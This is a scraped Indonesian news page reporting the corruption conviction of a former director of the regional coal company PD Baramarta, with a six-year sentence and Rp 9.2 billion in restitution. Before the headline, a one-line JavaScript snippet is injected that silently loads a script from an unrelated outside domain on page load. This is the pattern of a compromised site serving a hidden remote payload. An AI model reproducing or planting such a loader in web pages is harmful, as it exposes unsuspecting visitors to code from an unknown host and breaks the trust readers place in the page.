(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tok! Eks Dirut PD Baramarta Divonis 6 Tahun Penjara dan Ganti Kerugian Negara Rp 9,2 Miliar


KANALKALIMANTAN.COM, BANJARMASIN – Majelis Hakim Pengadilan Tipikor (PT) Banjarmasin akhirnya menjatuhkan vonis bersalah kepada eks Direktur PD Baramarta Kabupaten Banjar, Teguh Imanullah, Jumat (10/9/2021). Terpidana kasus korupsi tersebut dijatuhi hukuman 6 tahun penjara dan denda Rp 200 juta. Termasuk juga membayar uang pengganti kerugian negara sebesar Rp 9 miliar lebih.

Ketua Majelis Hakim Sutisna Saraswati dalam putusannya menyatakan Teguh terbukti secara sah dan meyakinkan bersalah, melakukan tindak pidana korupsi secara berlanjut sebagaimana didakwakan dalam dakwaan primer.

Dari hasil pemeriksaan melalui persidangan, unsur-unsur termasuk melawan hukum untuk memperkaya diri sendiri, merugikan keuangan negara dan perbuatan yang berkelanjutan terpenuhi hingga menyebabkan kerugian negara sebesar Rp 9.206.075.934.

“Atas dasar tersebut, majelis hakim menjatuhkan pidana terhadap terdakwa berupa pidana penjara selama 6 tahun dan denda sebesar Rp 200 juta dengan ketentuan, jika denda tidak dibayar diganti dengan pidana kurungan selama 2 bulan,” katanya.

 

 

Baca juga : Persipura Ditumbangkan Persela, Jacksen F Tiago Kecewa Berat

Terkait kerugian negara sebesar Rp 9,2 miliar lebih yang harus dikembalikan, majelis hakim mengatakan jika terpidana tidak bisa membayar maka harta benda miliknya akan disita oleh jaksa untuk dilelang.

“Jika harta benda terdakwa tak mencukupi maka diganti dengan pidana penjara selama tiga tahun,” terangnya.

Sementara itu, Majelis Hakim juga mempertimbangkan sejumlah hal yang meringankan terpidana. Yaitu yang bersangkutan menyesali perbuatannya, sopan selama persidangan, serta belum pernah dihukum dan memiliki tanggungan keluarga.

Sedangkan pertimbangan memberatkan di antaranya, terdakwa mencederai amanat jabatan sebagai Direktur PD Baramarta dan tindakan terdakwa bertentangan dengan upaya pemerintah untuk memberantas korupsi.

Baca juga : Izinkan Saipul Jamil Masuk TV buat Edukasi, Komisi I: KPI Jangan Bikin Bingung Masyarakat 

Sebagaimana diketahui, vonis yang dijatuhkan lebih ringan dibanding tuntutan jaksa penuntut umum yang menuntut 9 tahun penjara dan denda Rp 500 juta subsider 5 bulan kurungan. Termasuk membayar uang pengganti senilai kerugian negara Rp 9,2 miliar.

Menyikapi vonis tersebut, Teguh menyatakan masih pikir-pikir. Demikian juga dengan JPU. (Kanalkalimantan.com/kk)

Reporter : kk
Editor: cell


Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

9 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

9 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

10 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

10 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

10 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

12 jam ago

This website uses cookies.